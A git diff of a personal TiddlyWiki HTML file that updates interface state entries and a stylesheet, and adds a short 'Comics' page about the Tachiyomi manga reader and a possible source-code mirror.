diff --git a/-1.html b/-1.html index caf0d9e0..b43f137c 100644 --- a/-1.html +++ b/-1.html @@ -751,9 +751,8 @@ {"title":"$:/state/plugin-info-1958370054-$:/core--2000059281","created":"20220920140149154","modified":"20220920140149154","text":"contents"}, {"title":"$:/state/plugin-info-1998008712-$:/plugins/tiddlywiki/railroad--119403598","created":"20230108195707554","modified":"20230108195709210","text":"readme"}, {"title":"$:/state/plugin-info-496662381-$:/languages/it-IT","created":"20230218113830823","creator":"Octt","modified":"20230218114059177","modifier":"Octt","text":"no"}, -{"title":"$:/state/search-list/selected-item--1546365138","created":"20240119163604538","creator":"Octt","modified":"20240119165435451","modifier":"Octt","text":"Development/Resources-secondaryList"}, -{"title":"$:/state/search/currentTab","created":"20230501095944427","creator":"Octt","modified":"20240119155439786","modifier":"Octt","text":"$:/core/ui/DefaultSearchResultList"}, -{"title":"$:/state/showeditpreview","created":"20220920140732083","creator":"Octt","modified":"20231227005915618","modifier":"Octt","text":"yes"}, +{"title":"$:/state/search/currentTab","created":"20230501095944427","creator":"Octt","modified":"20240128004415561","modifier":"Octt","text":"$:/core/ui/DefaultSearchResultList"}, +{"title":"$:/state/showeditpreview","created":"20220920140732083","creator":"Octt","modified":"20240128001436242","modifier":"Octt","text":"no"}, {"title":"$:/state/ShowPaletteEditor","created":"20220920114858684","modified":"20220920114858684","text":"yes"}, {"title":"$:/state/sidebar","created":"20220920174307633","creator":"Octt","modified":"20231221152237213","modifier":"Octt","text":"yes"}, {"title":"$:/state/tab--1091387428","created":"20220922115715109","creator":"Octt","modified":"20230508210119459","modifier":"Octt","text":"$:/Octt/Music Archiving Status/VANTAGE"}, @@ -793,20 +792,23 @@ {"title":"$:/state/tab-914888664","created":"20230110152841020","modified":"20230110152841020","text":"$:/core/ui/TiddlerInfo/References"}, {"title":"$:/state/tab-99014043","created":"20220921221238452","creator":"Octt","modified":"20230218224826352","modifier":"Octt","text":"$:/core/ui/ControlPanel/TiddlerIcon"}, {"title":"$:/state/tab/moresidebar-1850697562","created":"20220920114911876","creator":"Octt","modified":"20230920153329472","modifier":"Octt","text":"$:/core/ui/MoreSideBar/Explorer"}, -{"title":"$:/state/tab/search-results/sidebar","created":"20230501095944427","creator":"Octt","modified":"20240119155439786","modifier":"Octt","text":"$:/core/ui/DefaultSearchResultList"}, -{"title":"$:/state/tab/sidebar--595412856","created":"20220920092307479","creator":"Octt","modified":"20240119172425357","modifier":"Octt","text":"OcttKB/Index"}, +{"title":"$:/state/tab/search-results/sidebar","created":"20230501095944427","creator":"Octt","modified":"20240128004415564","modifier":"Octt","text":"$:/core/ui/DefaultSearchResultList"}, +{"title":"$:/state/tab/sidebar--595412856","created":"20220920092307479","creator":"Octt","modified":"20240128002323398","modifier":"Octt","text":"OcttKB/Index"}, {"title":"$:/state/tabs/controlpanel/toolbars-1345989671","created":"20220920114638764","creator":"Octt","modified":"20230128224606306","modifier":"Octt","text":"$:/core/ui/ControlPanel/Toolbars/PageControls"}, {"title":"$:/state/tag-cloud-count","created":"20230109231545587","modified":"20230109231831243","text":"inline"}, {"title":"$:/state/toc-$:/OcttKB/ToC-2084057354","created":"20230301190128004","creator":"Octt","modified":"20230301190128780","modifier":"Octt","text":"close"}, +{"title":"$:/state/toc/$:/ToC-$:/Apps--1446284390","created":"20240127224228610","creator":"Octt","modified":"20240127224229697","modifier":"Octt","text":"close"}, {"title":"$:/state/toc/$:/ToC-$:/Apps--1697730578","created":"20230817233312379","creator":"Octt","modified":"20231107154741134","modifier":"Octt","text":"close"}, {"title":"$:/state/toc/$:/ToC-$:/Apps--777438282","created":"20230301202315129","creator":"Octt","modified":"20230301210025400","modifier":"Octt","text":"close"}, {"title":"$:/state/toc/$:/ToC-$:/Apps-1513105244","created":"20230905203425374","creator":"Octt","modified":"20230905203427031","modifier":"Octt","text":"close"}, {"title":"$:/state/toc/$:/ToC-$:/Apps-747701490","created":"20230221195052164","creator":"Octt","modified":"20230508212939248","modifier":"Octt","text":"close"}, +{"title":"$:/state/toc/$:/ToC-$:/Games--1446284390","created":"20240127224226627","creator":"Octt","modified":"20240127224228057","modifier":"Octt","text":"close"}, {"title":"$:/state/toc/$:/ToC-$:/Games--1697730578","created":"20231105150139974","creator":"Octt","modified":"20231107221141188","modifier":"Octt","text":"close"}, {"title":"$:/state/toc/$:/ToC-$:/Games--777438282","created":"20230301202316942","creator":"Octt","modified":"20230301205849160","modifier":"Octt","text":"close"}, {"title":"$:/state/toc/$:/ToC-$:/Games-1491465924","created":"20230227182906960","creator":"Octt","modified":"20230301140227063","modifier":"Octt","text":"close"}, {"title":"$:/state/toc/$:/ToC-$:/Games-747701490","created":"20230225112101049","creator":"Octt","modified":"20230301115417837","modifier":"Octt","text":"close"}, -{"title":"$:/state/toc/$:/ToC-$:/Tools--1697730578","created":"20230817233308156","creator":"Octt","modified":"20231107221056364","modifier":"Octt","text":"close"}, +{"title":"$:/state/toc/$:/ToC-$:/Tools--1446284390","created":"20240127224231676","creator":"Octt","modified":"20240127224233280","modifier":"Octt","text":"close"}, +{"title":"$:/state/toc/$:/ToC-$:/Tools--1697730578","created":"20230817233308156","creator":"Octt","modified":"20240127213519774","modifier":"Octt","text":"close"}, {"title":"$:/state/toc/$:/ToC-$:/Tools--685112640","created":"20230217211142634","creator":"Octt","modified":"20230217211145890","modifier":"Octt","text":"close"}, {"title":"$:/state/toc/$:/ToC-$:/Tools--777438282","created":"20230301202335134","creator":"Octt","modified":"20230301204324760","modifier":"Octt","text":"close"}, {"title":"$:/state/toc/$:/ToC-$:/Tools-1491465924","created":"20230227182905552","creator":"Octt","modified":"20230227182906545","modifier":"Octt","text":"close"}, @@ -817,13 +819,13 @@ {"title":"$:/state/toc/$:/ToC-Octt-1491465924","created":"20230227182903248","creator":"Octt","modified":"20230227182904476","modifier":"Octt","text":"close"}, {"title":"$:/state/toc/$:/ToC-Octt-2084057354","created":"20230301193437550","creator":"Octt","modified":"20230301193438637","modifier":"Octt","text":"close"}, {"title":"$:/state/toc/$:/ToC-Octt-747701490","created":"20230209095602012","creator":"Octt","modified":"20230223220711381","modifier":"Octt","text":"close"}, -{"title":"$:/state/toc/$:/ToC-OcttKB--1446284390","created":"20231105154133540","creator":"Octt","modified":"20231107235830521","modifier":"Octt","text":"open"}, +{"title":"$:/state/toc/$:/ToC-OcttKB--1446284390","created":"20231105154133540","creator":"Octt","modified":"20240127224223720","modifier":"Octt","text":"close"}, {"title":"$:/state/toc/$:/ToC-OcttKB--1697730578","created":"20230916143816834","creator":"Octt","modified":"20230919171254858","modifier":"Octt","text":"close"}, {"title":"$:/state/toc/$:/ToC-OcttKB--777438282","created":"20230301202319334","creator":"Octt","modified":"20230301211910776","modifier":"Octt","text":"close"}, {"title":"$:/state/toc/$:/ToC-OcttKB-2084057354","created":"20230301190045932","creator":"Octt","modified":"20230301190047685","modifier":"Octt","text":"close"}, {"title":"$:/state/toc/$:/ToC-OcttKB-550494662","created":"20230209095802817","creator":"Octt","modified":"20230219155017222","modifier":"Octt","text":"close"}, {"title":"$:/state/toc/$:/ToC-OcttKB-747701490","created":"20230209164056660","creator":"Octt","modified":"20230531084618192","modifier":"Octt","text":"close"}, -{"title":"$:/state/toc/$:/ToC-Spacc--1697730578","created":"20230916143818761","creator":"Octt","modified":"20231105104253448","modifier":"Octt","text":"close"}, +{"title":"$:/state/toc/$:/ToC-Spacc--1697730578","created":"20230916143818761","creator":"Octt","modified":"20240127224434310","modifier":"Octt","text":"close"}, {"title":"$:/state/toc/$:/ToC-Spacc--777438282","created":"20230301202324703","creator":"Octt","modified":"20230301210030801","modifier":"Octt","text":"close"}, {"title":"$:/state/toc/$:/ToC-Spacc-747701490","created":"20230209095658308","creator":"Octt","modified":"20230301120250411","modifier":"Octt","text":"close"}, {"title":"$:/state/toc/$:/ToC/$:/Games-Tetris--777438282","created":"20230301205510583","creator":"Octt","modified":"20230301205510583","modifier":"Octt","text":"open"}, @@ -851,7 +853,7 @@ {"title":"$:/state/toc/Web-HTTP-726624880","created":"20230429190915304","creator":"Octt","modified":"20230429190917201","modifier":"Octt","text":"close"}, {"title":"$:/state/toc/XML-SVG-1354019911","created":"20230823100038449","creator":"Octt","modified":"20230823100038449","modifier":"Octt","text":"open"}, {"title":"$:/state/toc/XML-XSL-1354019911","created":"20230823095201574","creator":"Octt","modified":"20230823095202086","modifier":"Octt","text":"close"}, -{"title":"$:/state/tree/$:/","created":"20230126190600213","creator":"Octt","modified":"20230919181011629","modifier":"Octt","text":"show"}, +{"title":"$:/state/tree/$:/","created":"20230126190600213","creator":"Octt","modified":"20240127223540407","modifier":"Octt","text":"hide"}, {"title":"$:/state/tree/$:/.tb/","created":"20230110224516936","modified":"20230110224516936","text":"show"}, {"title":"$:/state/tree/$:/.tb/macros/","created":"20230110224517512","modified":"20230110224517512","text":"show"}, {"title":"$:/state/tree/$:/Apps/","created":"20221109225835632","modified":"20230110163406585","text":"hide"}, @@ -899,7 +901,7 @@ {"title":"$:/state/tree/$:/Manager/ItemMain/","created":"20230124111902915","creator":"Octt","modified":"20230124111902915","modifier":"Octt","text":"show"}, {"title":"$:/state/tree/$:/Octt/","created":"20230227072955115","creator":"Octt","modified":"20230925173912043","modifier":"Octt","text":"hide"}, {"title":"$:/state/tree/$:/Octt/Music Archiving Status/","created":"20230227073001488","creator":"Octt","modified":"20230905205312681","modifier":"Octt","text":"hide"}, -{"title":"$:/state/tree/$:/OcttKB/","created":"20230111084703963","creator":"Octt","modified":"20231224174423151","modifier":"Octt","text":"hide"}, +{"title":"$:/state/tree/$:/OcttKB/","created":"20230111084703963","creator":"Octt","modified":"20240121193425329","modifier":"Octt","text":"hide"}, {"title":"$:/state/tree/$:/OcttKB/Config/","created":"20230225225512618","creator":"Octt","modified":"20231105214436728","modifier":"Octt","text":"hide"}, {"title":"$:/state/tree/$:/OcttKB/Config/TiddlerIconFilters/","created":"20230413082242495","creator":"Octt","modified":"20230413082242495","modifier":"Octt","text":"show"}, {"title":"$:/state/tree/$:/OcttKB/EditorToolbar/","created":"20231223130238140","creator":"Octt","modified":"20231223130238140","modifier":"Octt","text":"show"}, @@ -954,7 +956,7 @@ {"title":"$:/state/tree/$:/state/plugin-info-1867135918-$:/plugins/btheado/","created":"20230926062723341","creator":"Octt","modified":"20230926062724874","modifier":"Octt","text":"hide"}, {"title":"$:/state/tree/$:/state/tab/","created":"20230926062719639","creator":"Octt","modified":"20230926062720724","modifier":"Octt","text":"hide"}, {"title":"$:/state/tree/$:/status/","created":"20230111193642716","creator":"Octt","modified":"20231104225245742","modifier":"Octt","text":"hide"}, -{"title":"$:/state/tree/$:/Styles/","created":"20230108193801573","creator":"Octt","modified":"20231220183957474","modifier":"Octt","text":"hide"}, +{"title":"$:/state/tree/$:/Styles/","created":"20230108193801573","creator":"Octt","modified":"20240127214236792","modifier":"Octt","text":"show"}, {"title":"$:/state/tree/$:/Styles/1337box/","created":"20230114162317662","creator":"Octt","modified":"20230920144632067","modifier":"Octt","text":"hide"}, {"title":"$:/state/tree/$:/Styles/Static/","created":"20230225173056823","creator":"Octt","modified":"20231107223047265","modifier":"Octt","text":"hide"}, {"title":"$:/state/tree/$:/Styles/View/","created":"20230111091048227","creator":"Octt","modified":"20231107223047754","modifier":"Octt","text":"show"}, @@ -1010,7 +1012,7 @@ {"title":"$:/Styles/Global.css","text":".NoDisplay { display: none; }\n\n.NoSelect {\n\t-webkit-touch-callout: none;\n\t-webkit-user-select: none;\n\t-khtml-user-select: none;\n\t-moz-user-select: none;\n\t-ms-user-select: none;\n\tUser-Select: none;\n}\n","created":"20230130151417995","creator":"Octt","modified":"20230130151526950","modifier":"Octt","tags":"$:/tags/Stylesheet","type":"text/css"}, {"title":"$:/Styles/LinkIcon","created":"20230219153505142","creator":"Octt","modified":"20230905223216334","modifier":"Octt","tags":"$:/tags/Stylesheet","text":"\u003C!-- Code originally from \u003Chttps://linkstyle.tiddlyspot.com/>, adapted by me to work just with icons -->\n\n\u003C!-- Notes: \n - Anchor classes are selected via strict HTML attributes to avoid things like custom buttons from being stylized where they shouldn't; we will then need another rule to look for an explicit class to stylize other elements\n - Currently this assumes that the icon field of a tiddler can only have an emoji, never an image URL\n-->\n\n\\define linkstyle()\n\u003C$set name=\"uri\" value=\u003C\u003Cmakedatauri \"\"\"$(tid)$\"\"\" \"text/plain\">> >\n\u003C$list variable=\"urititle\" filter=\"\"\"[\u003Curi>removeprefix[data:text/plain,]]\"\"\">\n\u003Cstyle>\na[href=\"#\u003C\u003Curititle>>\"][class='tc-tiddlylink tc-tiddlylink-resolves']:after,\n.tc-tag-list-item[data-tag-title=\"\u003C\u003Curititle>>\"] > .tc-tag-label:after {\n content: ' \u003C\u003Cicon>>';\n}\n\u003C/style>\n\u003C/$list>\n\u003C/$set>\n\\end\n\n\\define linkbody()\n\\whitespace trim\n\u003C$list filter=\"\"\"[has[linkstyle]] [has[linkstyle-before]] [has[linkstyle-after]] [has[icon]]\"\"\">\n\u003C$vars tid={{!!title}} icon={{!!icon}}>\n\u003C\u003Clinkstyle>>\n\u003C/$vars>\n\u003C/$list>\n\\end\n\n\u003C\u003Clinkbody>>\n"}, {"title":"$:/Styles/Lists","created":"20230307191735805","creator":"Octt","modified":"20230531085347943","modifier":"Octt","tags":"$:/tags/Stylesheet","text":".tc-tiddler-body ul:hover,\n.tc-tiddler-body ol:hover,\n.tc-tiddler-body dd:hover {\n Box-Shadow: 2px 2px 12px RGBA(128, 128, 128, 0.5);\n padding-top: 4px;\n padding-bottom: 4px;\n padding-right: 4px;\n}\nul, ol, dd { transition: 0.3s; }\n\n.tc-tiddler-body li { padding-top: 4px; }\n\n/* Definition lists */\ndd:before { content: '»'; margin-right: 8px; vertical-align: top; }\ndl { margin-left: 8px; }\ndl > dd { margin-left: 24px; }\ndl > dd > p,\ndl > dd > div,\ndl > dd > dt {\n display: inline-block;\n max-width: calc(100% - 1.5em);\n}\n/*\ndl > dd > div > ul,\ndl > dd > div > ol {\n padding-left: 16px;\n}*/\ndiv:not(.tc-tiddler-body) > dl > dt,\ndd > p,\ndd > div > p,\ndd > div > ul {\n margin-top: unset;\n margin-bottom: unset;\n}\n"}, -{"title":"$:/Styles/Main","created":"20230108190740128","creator":"Octt","modified":"20231105151520512","modifier":"Octt","tags":"$:/tags/Stylesheet","text":"\\define --HeadingColor0() #c061cb;\n\n\\define sidebarbreakpoint()\n\u003C$text text={{$:/themes/tiddlywiki/vanilla/metrics/sidebarbreakpoint}}/>\n\\end\n\n\\define if-fluid-fixed(text,hiddenSidebarText)\n\u003C$reveal state=\"$:/themes/tiddlywiki/vanilla/options/sidebarlayout\" type=\"match\" text=\"fluid-fixed\">\n$text$\n\u003C$reveal state=\"$:/state/sidebar\" type=\"nomatch\" text=\"yes\" default=\"yes\">\n$hiddenSidebarText$\n\u003C/$reveal>\n\u003C/$reveal>\n\\end\n\n/* Override the font used for icon display by the the \u003C$:/plugins/Gk0Wk/notionpage-covericon> plugin, and then also apply it to the :after of .tc-tiddlylink anchors, for consistency.\nWe override adding a \"sans-serif\" to the start due to a spacing bug (?) */\n.gk0wk-notionpagebg-icon1,\n.gk0wk-notionpagebg-icon2,\na[class=\"tc-tiddlylink tc-tiddlylink-resolves\"]:after {\n font-family: sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", NotoColorEmoji, \"Noto Color Emoji\", \"Segoe UI Symbol\", \"Android Emoji\", EmojiSymbols;\n}\n\n/* Mobile */\n@media (max-width: \u003C\u003Csidebarbreakpoint>>) {\n .tc-sidebar-scrollable .tc-sidebar-header { padding-top: 0px; }\n}\n\n/* Desktop */\n@media (min-width: \u003C\u003Csidebarbreakpoint>>) {\n .tc-sidebar-scrollable {\n padding-left: 0px;\n padding-right: 0px;\n }\n .tc-story-river {\n padding: {{$:/Config/OcttKB/Tweaks/Starlight/.tc-story-river Padding}};\n }\n .tc-tiddler-frame {\n padding: 20px /*24px 32px 24px 32px*/;\n margin-bottom: 20px;\n }\n\n\u003C\u003Cif-fluid-fixed text:\"\"\"\n .tc-story-river {\n margin-right: {{$:/themes/tiddlywiki/vanilla/metrics/sidebarwidth}};\n }\n\"\"\" hiddenSidebarText:\"\"\"\n .tc-story-river {\n margin-right: 0px;\n padding-right: 24px;\n }\n\"\"\">>\n}\n\nDiv.View-Breadcrumbs\n{ margin: 4px; padding: 4px; }\n\n/* Inserting HTML content with tag $:/tags/AboveStory causes excess padding on top of the story river; Setting display none breaks that HTML, so we just tweak position */ \n.tc-page-container .tc-story-river > .story-backdrop { position: absolute; }\n\n/* Reduce top padding of sidebar */\n.tc-sidebar-scrollable { padding-top: 12px; }\n.tc-sidebar-scrollable .tc-sidebar-header .tc-reveal .tc-site-subtitle { padding-right: 4em; }\n\n.tc-story-river { padding-bottom: 0px; }\n.tc-story-river ~ p { display: none; }\n\n.tc-tiddler-frame,\n.tc-tiddler-body p iframe {\n Box-Shadow: 2px 2px 12px RGBA(128, 128, 128, 0.5);\n}\n\n.tc-tiddler-body p iframe { Border: None; }\n.tc-tiddler-frame { border-radius: 4px; }\n.tc-modal-body { max-height: 75vh /*60vh*/; }\n\n.tc-sidebar-scrollable .tc-sidebar-tabs-main .tc-more-sidebar .tc-tab-content { overflow: visible; }\n\n.tc-unfold-banner {\n width: calc(100% - 8px);\n margin-left: -16px;\n margin-top: -8px;\n}\n\n/* Large tag selection menu, optimized for desktop + nicer tag button */\n.tc-edit-tags .tc-edit-add-tag .tc-block-tags-dropdown {\n position: revert;\n white-space: revert;\n}\n.tc-edit-tags .tc-edit-add-tag .tc-block-tags-dropdown a {\n display: inline-block;\n border-radius: 1em;\n}\n\n.tc-sidebar-search .tc-search .tc-popup-handle[type=\"search\"]:focus {\n border: 2px dashed \u003C\u003C--HeadingColor0>>;\n}\n\n.AiLink { opacity: 0.40; }\n\n.DirList-Title, .DirList-Title * { Font-Style: Normal !Important; }\n.Separator-Right:last-of-type { Display: None; }\n\n.StartHere-Button {\n font-size: x-large /*smaller*/;\n text-decoration: none !important;\n user-select: none;\n}\n.StartHere-Button > img {\n width: 122px;\n image-rendering: pixelated;\n}\n.StartHere-Button > span {\n position: relative;\n top: -20px /*-10px*/;\n}\n\nImg.Img90, .Img90 Img {\n Max-Width: 90%;\n Max-Height: 90vh;\n}\n\n.tc-sidebar-scrollable .tc-sidebar-header .tc-page-controls .tc-popup .tc-drop-down { min-width: auto; }\n\n.tc-story-river > .tc-tiddler-frame .tc-subtitle { margin: 4px; padding: 4px; }\n\n/* Customized sidebar button */\n.tc-topbar.tc-topbar-right {\n bottom: 10px;\n right: 10px;\n top: unset;\n}\n.tc-topbar.tc-topbar-right > button {\n background: RGBA(0,0,0,0.64);\n border-radius: 4px;\n}\n.tc-topbar.tc-topbar-right > button > svg > g { fill: white; }\n\ndetails.tw-details > summary > * { display: inline; }\n\ninput[type=\"range\"] { min-width: 8em; }\n\ninput.Edit-Text-Full { width: 100% !important; }\n\n.tc-tiddler-body details:hover {\n Box-Shadow: 2px 2px 12px RGBA(128, 128, 128, 0.5);\n}\n.tc-tiddler-body details:hover > iframe {\n Box-Shadow: none;\n}\n\n.ibox-btn {\n max-width: 35%;\n max-height: 50vh;\n}\n.ibox-btn img {\n width: 100% !important;\n}\n\n.tc-modal {\n width: 80%;\n left: calc((100% - 80%) / 2);\n}\n\n.tb-inc > .tb-inc-controls.tc-tiddler-controls > button {\n\tfont-size: 150%;\n}\n"}, +{"title":"$:/Styles/Main","created":"20230108190740128","creator":"Octt","modified":"20240127214256070","modifier":"Octt","tags":"$:/tags/Stylesheet","text":"\\define --HeadingColor0() #c061cb;\n\n\\define sidebarbreakpoint()\n\u003C$text text={{$:/themes/tiddlywiki/vanilla/metrics/sidebarbreakpoint}}/>\n\\end\n\n\\define if-fluid-fixed(text,hiddenSidebarText)\n\u003C$reveal state=\"$:/themes/tiddlywiki/vanilla/options/sidebarlayout\" type=\"match\" text=\"fluid-fixed\">\n$text$\n\u003C$reveal state=\"$:/state/sidebar\" type=\"nomatch\" text=\"yes\" default=\"yes\">\n$hiddenSidebarText$\n\u003C/$reveal>\n\u003C/$reveal>\n\\end\n\n/* --- */\n\nhtml, body {\n overflow-x: hidden;\n}\n\n/* Override the font used for icon display by the the \u003C$:/plugins/Gk0Wk/notionpage-covericon> plugin, and then also apply it to the :after of .tc-tiddlylink anchors, for consistency.\nWe override adding a \"sans-serif\" to the start due to a spacing bug (?) */\n.gk0wk-notionpagebg-icon1,\n.gk0wk-notionpagebg-icon2,\na[class=\"tc-tiddlylink tc-tiddlylink-resolves\"]:after {\n font-family: sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", NotoColorEmoji, \"Noto Color Emoji\", \"Segoe UI Symbol\", \"Android Emoji\", EmojiSymbols;\n}\n\n/* Mobile */\n@media (max-width: \u003C\u003Csidebarbreakpoint>>) {\n .tc-sidebar-scrollable .tc-sidebar-header { padding-top: 0px; }\n}\n\n/* Desktop */\n@media (min-width: \u003C\u003Csidebarbreakpoint>>) {\n .tc-sidebar-scrollable {\n padding-left: 0px;\n padding-right: 0px;\n }\n .tc-story-river {\n padding: {{$:/Config/OcttKB/Tweaks/Starlight/.tc-story-river Padding}};\n }\n .tc-tiddler-frame {\n padding: 20px /*24px 32px 24px 32px*/;\n margin-bottom: 20px;\n }\n\n\u003C\u003Cif-fluid-fixed text:\"\"\"\n .tc-story-river {\n margin-right: {{$:/themes/tiddlywiki/vanilla/metrics/sidebarwidth}};\n }\n\"\"\" hiddenSidebarText:\"\"\"\n .tc-story-river {\n margin-right: 0px;\n padding-right: 24px;\n }\n\"\"\">>\n}\n\nDiv.View-Breadcrumbs\n{ margin: 4px; padding: 4px; }\n\n/* Inserting HTML content with tag $:/tags/AboveStory causes excess padding on top of the story river; Setting display none breaks that HTML, so we just tweak position */ \n.tc-page-container .tc-story-river > .story-backdrop { position: absolute; }\n\n/* Reduce top padding of sidebar */\n.tc-sidebar-scrollable { padding-top: 12px; }\n.tc-sidebar-scrollable .tc-sidebar-header .tc-reveal .tc-site-subtitle { padding-right: 4em; }\n\n.tc-story-river { padding-bottom: 0px; }\n.tc-story-river ~ p { display: none; }\n\n.tc-tiddler-frame,\n.tc-tiddler-body p iframe {\n Box-Shadow: 2px 2px 12px RGBA(128, 128, 128, 0.5);\n}\n\n.tc-tiddler-body p iframe { Border: None; }\n.tc-tiddler-frame { border-radius: 4px; }\n.tc-modal-body { max-height: 75vh /*60vh*/; }\n\n.tc-sidebar-scrollable .tc-sidebar-tabs-main .tc-more-sidebar .tc-tab-content { overflow: visible; }\n\n.tc-unfold-banner {\n width: calc(100% - 8px);\n margin-left: -16px;\n margin-top: -8px;\n}\n\n/* Large tag selection menu, optimized for desktop + nicer tag button */\n.tc-edit-tags .tc-edit-add-tag .tc-block-tags-dropdown {\n position: revert;\n white-space: revert;\n}\n.tc-edit-tags .tc-edit-add-tag .tc-block-tags-dropdown a {\n display: inline-block;\n border-radius: 1em;\n}\n\n.tc-sidebar-search .tc-search .tc-popup-handle[type=\"search\"]:focus {\n border: 2px dashed \u003C\u003C--HeadingColor0>>;\n}\n\n.AiLink { opacity: 0.40; }\n\n.DirList-Title, .DirList-Title * { Font-Style: Normal !Important; }\n.Separator-Right:last-of-type { Display: None; }\n\n.StartHere-Button {\n font-size: x-large /*smaller*/;\n text-decoration: none !important;\n user-select: none;\n}\n.StartHere-Button > img {\n width: 122px;\n image-rendering: pixelated;\n}\n.StartHere-Button > span {\n position: relative;\n top: -20px /*-10px*/;\n}\n\nImg.Img90, .Img90 Img {\n Max-Width: 90%;\n Max-Height: 90vh;\n}\n\n.tc-sidebar-scrollable .tc-sidebar-header .tc-page-controls .tc-popup .tc-drop-down { min-width: auto; }\n\n.tc-story-river > .tc-tiddler-frame .tc-subtitle { margin: 4px; padding: 4px; }\n\n/* Customized sidebar button */\n.tc-topbar.tc-topbar-right {\n bottom: 10px;\n right: 10px;\n top: unset;\n}\n.tc-topbar.tc-topbar-right > button {\n background: RGBA(0,0,0,0.64);\n border-radius: 4px;\n}\n.tc-topbar.tc-topbar-right > button > svg > g { fill: white; }\n\ndetails.tw-details > summary > * { display: inline; }\n\ninput[type=\"range\"] { min-width: 8em; }\n\ninput.Edit-Text-Full { width: 100% !important; }\n\n.tc-tiddler-body details:hover {\n Box-Shadow: 2px 2px 12px RGBA(128, 128, 128, 0.5);\n}\n.tc-tiddler-body details:hover > iframe {\n Box-Shadow: none;\n}\n\n.ibox-btn {\n max-width: 35%;\n max-height: 50vh;\n}\n.ibox-btn img {\n width: 100% !important;\n}\n\n.tc-modal {\n width: 80%;\n left: calc((100% - 80%) / 2);\n}\n\n.tb-inc > .tb-inc-controls.tc-tiddler-controls > button {\n\tfont-size: 150%;\n}\n"}, {"title":"$:/Styles/onhover-toolbar-styles.css","text":".tc-tiddler-frame .tc-titlebar button {\nopacity: 0;\ntransition: opacity .5s ease-in-out;\n}\n.tc-tiddler-frame:hover .tc-titlebar button {\nzoom: 1;\nfilter: alpha(opacity=100);\nopacity: 1;\n}","created":"20150924065447163","creator":"Tobias Beer","modified":"20230110175248723","modifier":"Tobias Beer","revision":"0","tags":"","type":"text/css"}, {"title":"$:/Styles/PIP.css","text":"/* This has to be redone basically from scratch because there are issues with position:fixed without editing the tiddler frame z-index, which can't be done via CSS only (no parent selector) */\n\ninput.PIP-Select, input.PIP-Select+label, div.PIP-Select > input, div.PIP-Select > label, div.PIP-Select > span { width: 1.25em; height: 1.25em; font-size: 1.50em; vertical-align: middle; }\n\n/*\ninput[type=\"radio\"].PIP-Select[value=\"↗️\"]:checked ~ div { border: 3px solid red; }\ninput[type=\"radio\"].PIP-Select[value=\"↘️\"]:checked ~ div { border: 3px solid blue; }\n*/\n\n/* Set PIP properties common to all position */\n/*\ninput[type=\"radio\"].PIP-Select[value]:not(input[type=\"radio\"].PIP-Select[value=\"❎\"]):checked,\ninput[type=\"radio\"].PIP-Select[value]:not(input[type=\"radio\"].PIP-Select[value=\"❎\"]):checked ~ input,\ninput[type=\"radio\"].PIP-Select[value]:not(input[type=\"radio\"].PIP-Select[value=\"❎\"]):checked ~ label,\n*/\ninput[type=\"radio\"].PIP-Select[value]:not(input[type=\"radio\"].PIP-Select[value=\"❎\"]):checked ~ input[type=\"radio\"].PIP-Select[value=\"❎\"],\ninput[type=\"radio\"].PIP-Select[value]:not(input[type=\"radio\"].PIP-Select[value=\"❎\"]):checked ~ div {\n position: fixed;\n z-index: 99999;\n top: 0px;\n right: 0px;\n}\n\ninput[type=\"radio\"].PIP-Select[value]:not(input[type=\"radio\"].PIP-Select[value=\"❎\"]):checked ~ input[type=\"radio\"].PIP-Select[value=\"❎\"] { z-index: 100001; }\n\ninput[type=\"radio\"].PIP-Select[value]:not(input[type=\"radio\"].PIP-Select[value=\"❎\"]):checked ~ div {\n /*height: 100vh;*/\n width: 50vw;\n background: white;\n}\n","created":"20230202093634199","creator":"Octt","modified":"20230202194628022","modifier":"Octt","tags":"$:/tags/Stylesheet","type":"text/css"}, {"title":"$:/Styles/Ribbon.html","created":"20230108212828635","creator":"Octt","modified":"20230218112003133","modifier":"Octt","tags":"$:/tags/PageControls","type":"","text":"\u003C!-- TOP RIGHT RIBBON --->\n\u003Cdiv class=\"github-fork-ribbon-wrapper right\">\u003Cdiv class=\"github-fork-ribbon\">\u003Ca rel=\"noopener noreferrer\" target=\"_blank\" href=\"https://hub.octt.eu.org\">Visit the Octt Hub 🌐\u003C/a>\u003C/div>\u003C/div>"}, @@ -1112,13 +1114,14 @@ {"title":"CHIP-8","created":"20230215191853969","creator":"Octt","modified":"20230215191910586","modifier":"Octt","tags":"","text":"\u003C\u003CWikipediaFrame CHIP-8 en>>"}, {"title":"Clock","created":"20230216212048745","creator":"Octt","icon":"🕰️","modified":"20230919165558817","modifier":"Octt","page-cover":"https://source.unsplash.com/random?clock","tags":"Time","text":"\u003C\u003C^wikipediaframe Clock en>>\n\n; Some Clocks\n: \u003C\u003CYoutubeL vugulzS0EoU \"2 Retro Clocks with an ESP32 (Couldn't be simpler!)\">>\n"}, {"title":"Coding","created":"20230816230758244","creator":"Octt","modified":"20240110004245125","modifier":"Octt","text":"\u003C\u003C^wikipediaframe \"Computer programming\">>\n\n* \u003C\u003CWikipediaL \"Loop unrolling\">>\n** \u003C\u003CWikipediaL \"Duff's device\">> --- I can't totally understand how this works but the piece of code is visually a beautiful machine\n\n* \u003C\u003CWikipediaL Header-only>>\n\n* \u003C\u003CWikipediaL \"Program optimization\">>\n\n* [[How much abstraction is too much?|https://stackoverflow.com/questions/2668355/how-much-abstraction-is-too-much]] ; [[Can too much abstraction be bad?|https://softwareengineering.stackexchange.com/questions/202477/can-too-much-abstraction-be-bad]]\n\n* [[Wandbox|https://wandbox.org/]] --- //Social Compilation Service//, online multi-language code editing and sharing --- \u003C\u003C[# Git\"https://github.com/melpon/wandbox\">>\n"}, +{"title":"Comics","created":"20240128003004602","creator":"Octt","modified":"20240128003714010","modifier":"Octt","tags":"","text":"\u003C\u003C^WikipediaFrame \"Comics\">>\n\n* [[Tachiyomi|https://tachiyomi.org/]] --- epic open-source reader for Android, but which recently ceased development due to shitty hypercapitalist manwha company issuing a C&D... we are waiting for a spiritual successor\n** Main repo w/sources disappeared from GitHub, and the entire app too from F-Droid; they are probably still on [[Internet Archive]], and I found this mirror here (idk if trustworthy): https://git.mihon.dev/tachiyomi\n"}, {"title":"Compiler","created":"20231103211923238","creator":"Octt","modified":"20231104231633279","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Compiler>>\n\n* \u003C\u003Clinkdescgit Emscripten\"https://github.com/emscripten-core/emscripten\" \"An LLVM-to-WebAssembly Compiler\" \"https://github.com/emscripten-core/emscripten\">>\n"}, 